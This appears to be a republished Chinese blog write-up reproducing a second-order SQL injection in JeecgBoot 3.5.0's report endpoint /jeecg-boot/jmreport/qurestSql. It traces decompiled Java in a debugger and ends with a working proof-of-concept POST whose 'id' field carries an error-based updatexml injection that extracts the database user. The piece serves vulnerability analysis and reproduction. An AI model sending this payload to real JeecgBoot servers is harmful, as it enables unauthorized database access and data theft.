版本为最新版本3.5.0 发布日期:2023-03-08
Poc地址:
https://github.com/J0hnWalker/jeecg-boot-sqli
复现过程
漏洞原理很简单,但是由于个人配置的原因环境搭建很慢,下图是搭建完成后的后台主页。当然前端搭不搭建无所谓
漏洞产生的地方来自于JeecgBoot后端的集成积木报表功能
来看漏洞产生直接原因,这个函数需要用post请求,请求的内容是json
@PostMapping({"/qurestSql"})
public Result<?> b(@RequestBody JSONObject var1, HttpServletRequest var2) {
String var3 = var1.getString("apiSelectId");
var1.remove("apiSelectId");
JmReportDb var4 = this.reportDbService.getById(var3);
List var5 = this.reportDbService.qurestechSql(var4, var1);
this.jmReportDesignService.replaceDbCode(var4, var5);
return Result.OK(e.b(var5));
}
那么对http://127.0.0.1:8080/jeecg-boot/jmreport/qurestSql构造post请求,请求头加入Content-Type: application/json
POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/json;charset=UTF-8
{
"apiSelectId":"123456"
}
在idea中断下来进行调试,我们来看看这个函数的流程
var1是传进来的json,var2是包装的http请求
步过getString
var3取得了json里apiSelectId的value.
步过remove
remove后 var1变为空,apiSelectId被删除了
步过this.reportDbService.getById(var3);var4=null
步过qurestechSql;var5 =null
再步过replaceDbCode抛出异常然后返回response
现在再重新回过头从getById开始分析这些函数
找到getById的实现
public JmReportDb getById(String apiSelectId) {
return this.reportDbDao.get(apiSelectId);
}
返回reportDbDao.get,参数是一个字符串,也就是apiSelectId的value,跟进get
@Sql("SELECT * FROM jimu_report_db WHERE ID = :id")
JmReportDb get(@Param("id") String var1);
注解提示传入的参数是id,结合上面给出的sql语句说明这个函数根据变量id去查询jimu_report_db的所有内容,也就是说我们传入的参数是主键
可以先去看看这个表有什么东西
发现了有意思的东西,db_dyn_sql这个columns里存了很多的sql语句,这也是二次注入漏洞的原因,我们先尝试能不能通过getById拿到这些sql语句
前面的代码里,apiSelectId的键值会作为var3传入getById,我所以我们可以重新构造一下请求的json
POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/json;charset=UTF-8
{
"apiSelectId":"1290104038414721025"
}
这里以poc里的id为例
传入我们要查询的id,步过后查看var4
通过getById返回的结果集var4,可以发现dbDynSql就是我们通过id找到的sql
步过qurestechSql
通过观察var5发现我们的Sql执行了,说明这个函数会去执行dbDynSql
验证一下发现查询的是id=1这条
可这个函数的参数有俩个,var4里有我们需要执行的sql,var1是干嘛的呢,从POC验证的结果推测应该是作为sql语句的参数id传入,有兴趣可以继续分析一下下面这个函数
public List<Map<String, Object>> qurestechSql(JmReportDb jmReportDb, JSONObject paramObject) {
if (jmReportDb == null) {
return null;
} else {
String var3 = jmReportDb.getDbDynSql();
List var4 = this.dbParamDao.list(jmReportDb.getId());
JSONObject var5 = new JSONObject();
Iterator var6 = var4.iterator();
while(var6.hasNext()) {
JmReportDbParam var7 = (JmReportDbParam)var6.next();
if (g.d(var7.getParamValue())) {
var5.put(var7.getParamName(), var7.getParamValue());
}
}
Map var11 = e.a(jmReportDb, paramObject);
JSONObject var12 = (JSONObject)var11.get("shared_query_param");
var5.putAll(paramObject);
String var8 = this.jimuReportService.getDbSql(jmReportDb, var5, var12, new ArrayList(), "");
String var9 = e.e(var8);
String var10 = jmReportDb.getDbSource();
if (g.d(var9)) {
return this.jmreportDynamicDbUtil.a(var10, var9);
} else if (this.jmReportDbSourceService.isNoSql(var10)) {
return this.jmreportNoSqlService.findList(var8, var10);
} else if (g.c(jmReportDb.getDbSource())) {
return this.reportDbDao.selectListBySql(var8);
} else {
return this.jmreportDynamicDbUtil.b(jmReportDb.getDbSource(), var8, new Object[0]);
}
}
}
最后形成poc,
POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/json;charset=UTF-8
{
"apiSelectId":"1290104038414721025",
"id":"1' or '%1%' like (updatexml(0x3a,concat(1,(select current_user)),1)) or '%%' like '"
}
var1 remove后只剩下恶意的payload
报错注入的结果文章来源:https://www.toymoban.com/news/detail-689744.html
文章来源地址https://www.toymoban.com/news/detail-689744.html
到了这里,关于JeecgBootSql二次注入复现的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!